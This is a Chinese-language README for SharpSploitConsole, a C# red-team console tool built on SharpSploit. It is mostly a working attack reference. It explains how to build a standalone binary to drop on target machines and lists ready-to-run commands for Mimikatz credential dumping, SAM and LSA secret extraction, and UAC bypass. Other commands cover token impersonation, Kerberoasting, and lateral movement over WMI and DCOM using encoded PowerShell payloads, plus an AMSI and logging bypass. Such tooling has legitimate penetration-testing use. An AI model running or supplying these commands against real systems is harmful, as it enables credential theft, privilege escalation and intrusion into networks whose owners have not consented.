C# 控制台应用程序,用于后渗透和红队行动,集成了 SharpSploit 以执行 Mimikatz 命令、进行 Kerberoasting 攻击、绕过 UAC、转储凭据,并通过 WMI/DCOM 进行横向移动。
用于与 @cobbr_io 发布的 SharpSploit 交互的控制台应用程序 > https://github.com/cobbr/SharpSploit
SharpSploit 是由 @cobbr_io 编写的工具,它将信息安全社区的许多技术/C#代码整合到一个优秀的 DLL 中。这真的很棒,所以去看看吧!
SharpSploit Console 只是一个快速的概念验证二进制文件,旨在帮助 C# 经验较少的渗透测试人员或红队成员体验 SharpSploit 的精彩之处。通过遵循以下说明,您应该能够将 SharpSploit.dll 和 System.Management.Automation.dll 嵌入到 SharpSploitConsole 二进制文件中,创建一个独立的可执行文件,您可以将其放在合适的目标系统上,并通过非交互式 Shell(如 beacon)运行。
这个概念可以应用于许多 C# 二进制文件。例如,我们可以将 System.Management.Automation.dll 嵌入到我们最喜欢的 C# NoPowershell.exe 中,创建一个不依赖目标系统上 System.Management.Automation.dll 的二进制文件。
最后,我知道可能有成千上万种方法可以让它变得更好、更快、更酷、更隐蔽等。所以请随意告诉我……以一种友好的方式。:) 我还计划添加更多模块并改进其他模块。
联系方式:
在提交问题之前,请注意此工具可能不会始终积极更新。我鼓励您借用、添加、修改和/或制作自己的工具。请记住,所有优秀的代码(而且有很多)都可以被拿来/修改以创建您自己的自定义工具。
注意:我使用的是 Windows 10、Visual Studio 2017 - 其他环境效果可能不同
从 https://github.com/cobbr/SharpSploit.git 下载 SharpSploit 工具
在 Visual Studio 中打开 SharpSploit.sln 并编译(确保为正确的架构编译) - 应看到下拉菜单中显示 Any CPU > 点击它并打开配置管理器 > 在平台下更改为所需架构并选择确定。
下载 SharpSploitConsole 工具并打开 SharpSploitConsole.sln
将存在于 SharpSploit/bin/x64/Debug 目录中的 SharpSploit.dll 和 System.Management.Automation.dll 复制到 SharpSploitConsole/bin/x64/Debug 文件夹中
接下来,我们将设置 Visual Studio 以将我们的 DLL 嵌入到 exe 中,这样我们就能得到一个可以放在目标机器上运行的单一二进制文件。我们将通过以下步骤来完成:
在 Visual Studio 中:
a. 工具 > NuGet 包管理器 > 包管理器控制台
b. 在控制台中运行:
Install-Package Costura.Fody
c. 打开记事本,粘贴以下代码,并将其保存为 FodyWeavers.xml,放在包含 SharpSploitConsole 的 bin、obj、properties 文件夹的目录中。
<?xml version="1.0" encoding="utf-8"?>
<Weavers>
<Costura />
</Weavers>
在 Visual Studio 中,右键单击右侧的引用,选择添加引用,然后浏览到我们放置两个 DLL 的 SharpSploitConsole/bin/x64/Debug 目录,选择它们并添加。
编译,将二进制文件放到目标计算机上并享受。
注意:所有命令不区分大小写
默认情况下,所有命令都可以作为命令行参数传入,它们将被执行,然后程序退出(非常适合远程 Shell)。这看起来像这样:sharpSploitConsole.exe getSystem logonPasswords。或者,如果您想使用交互式控制台模式,可以使用 interact 命令获取一个伪交互式 Shell。
启动交互式控制台模式:
Interact
Mimikatz 全部功能(不运行 DCSync) - 需要管理员或系统权限:
Mimi-All
运行您选择的特定 Mimikatz 命令 - 需要管理员或系统权限:
Mimi-Command privilege::debug sekurlsa::logonPasswords
运行 Mimikatz 命令 privilege::debug sekurlsa::logonPasswords - 需要管理员或系统权限:
logonPasswords
运行 Mimikatz 命令从注册表检索域缓存凭据哈希 - 需要管理员或系统权限:
LsaCache
运行 Mimikatz 命令检索存储在注册表中的 LSA 机密 - 需要管理员或系统权限:
LsaSecrets
从 SAM 数据库检索密码哈希 - 需要管理员或系统权限:
SamDump
从注册表检索 Wdigest 凭据 - 需要管理员或系统权限:
Wdigest
检索当前用户:
whoami
Username
模拟系统用户 - 需要管理员权限:
GetSystem
模拟系统用户 - 模拟指定进程的令牌,需要 PID - 命令需要管理员权限:
Impersonate 2918
绕过 UAC - 需要二进制文件 | 命令 | 二进制文件路径 - 需要管理员权限:
BypassUAC cmd.exe ipconfig C:\Windows\System32\
BypassUAC cmd.exe "" C:\Windows\System32\
结束任何令牌的模拟,恢复为与当前进程关联的初始令牌:
RevertToSelf
检索当前工作目录:
CurrentDirectory
检索当前目录列表:
DirectoryListing
通过将指定字符串追加到当前工作目录来更改当前目录:
ChangeDirectory SomeFolder
检索主机名:
Hostname
检索正在运行的进程列表:
ProcessList
创建运行中进程内存的 minidump,需要 PID | 输出位置 | 输出名称 - 需要管理员权限:
ProcDump 2198 C:\Users\Username\Desktop memorydump.dmp
检索注册表路径值,需要完整路径参数:
ReadRegistry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\BuildNumber
写入注册表,需要完整路径参数和值参数:
WriteRegistry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\RemoteAccessEnabled 1
远程检索本地组成员,需要计算机名 | 组名 | 用户名 | 密码:
NetLocalGroupMembers computerName Administrators domain\username P@55w0rd!
NetLocalGroupMembers 192.168.1.20 Administrators .\username P@55w0rd!
远程检索本地组,需要计算机名 | 用户名 | 密码:
NetLocalGroups computerName domain\username P@55w0rd!
NetLocalGroups 192.168.1.20 .\username P@55w0rd!
远程检索当前登录的用户,需要计算机名 | 用户名 | 密码:
NetLoggedOnUsers computerName domain\username P@55w0rd!
NetLoggedOnUsers 192.168.1.20 .\username P@55w0rd!
远程检索用户会话,需要计算机名 | 用户名 | 密码:
NetSessions computerName domain\username P@55w0rd!
NetSessions 192.168.1.20 .\username P@55w0rd!
Ping 系统,需要计算机名:
Ping computer1 computer2 computer3 computer4
端口扫描系统,需要计算机名 | 端口:
PortScan computer1 80 443 445 22 23
获取域用户,获取目标域中指定(或所有)用户对象,默认使用当前用户上下文。可选参数:-username -password -domain -server -searchbase -searchstring -target:
GetDomainUsers
获取域组,获取目标域中指定(或所有)组对象,默认使用当前用户上下文。可选参数:-username -password -domain -server -searchbase -searchstring -target:
GetDomainGroups
GetDomainGroups -target "Domain Admins"
获取域计算机,获取目标域中指定(或所有)计算机对象,默认使用当前用户上下文。可选参数:-username -password -domain -server -searchbase -searchstring -target:
GetDomainComputers
执行 Kerberoasting,针对目标域中指定(或所有)用户对象执行 Kerberoasting 攻击,默认使用当前用户上下文。可选参数:-username -password -domain -server -searchbase -searchstring -target
Kerberoast
Kerberoast -username bob -password Password1 -domain test.corp -server 192.168.1.10 -target sqlService
通过 WMI 远程运行命令,需要计算机名 | 用户名 | 密码 | 命令 - 需要管理员权限:
WMI computer1 domain\username P@55w0rd! <entire powershell empire payload>
WMI computer1 .\username P@55w0rd! powershell -noP -sta -w 1 -enc <Base64>
通过 DCOM 远程运行命令,需要计算机名 | 命令 | 目录 | 参数 - 需要管理员权限:
DCOM computer1 cmd.exe c:\Windows\System32 powershell -noP -sta -w 1 -enc <Base64>
运行 Shell 命令:
Shell ipconfig /all
运行 PowerShell 命令,同时尝试绕过 AMSI、脚本块日志和模块日志:
Powershell -noP -sta -w 1 -enc <Base64>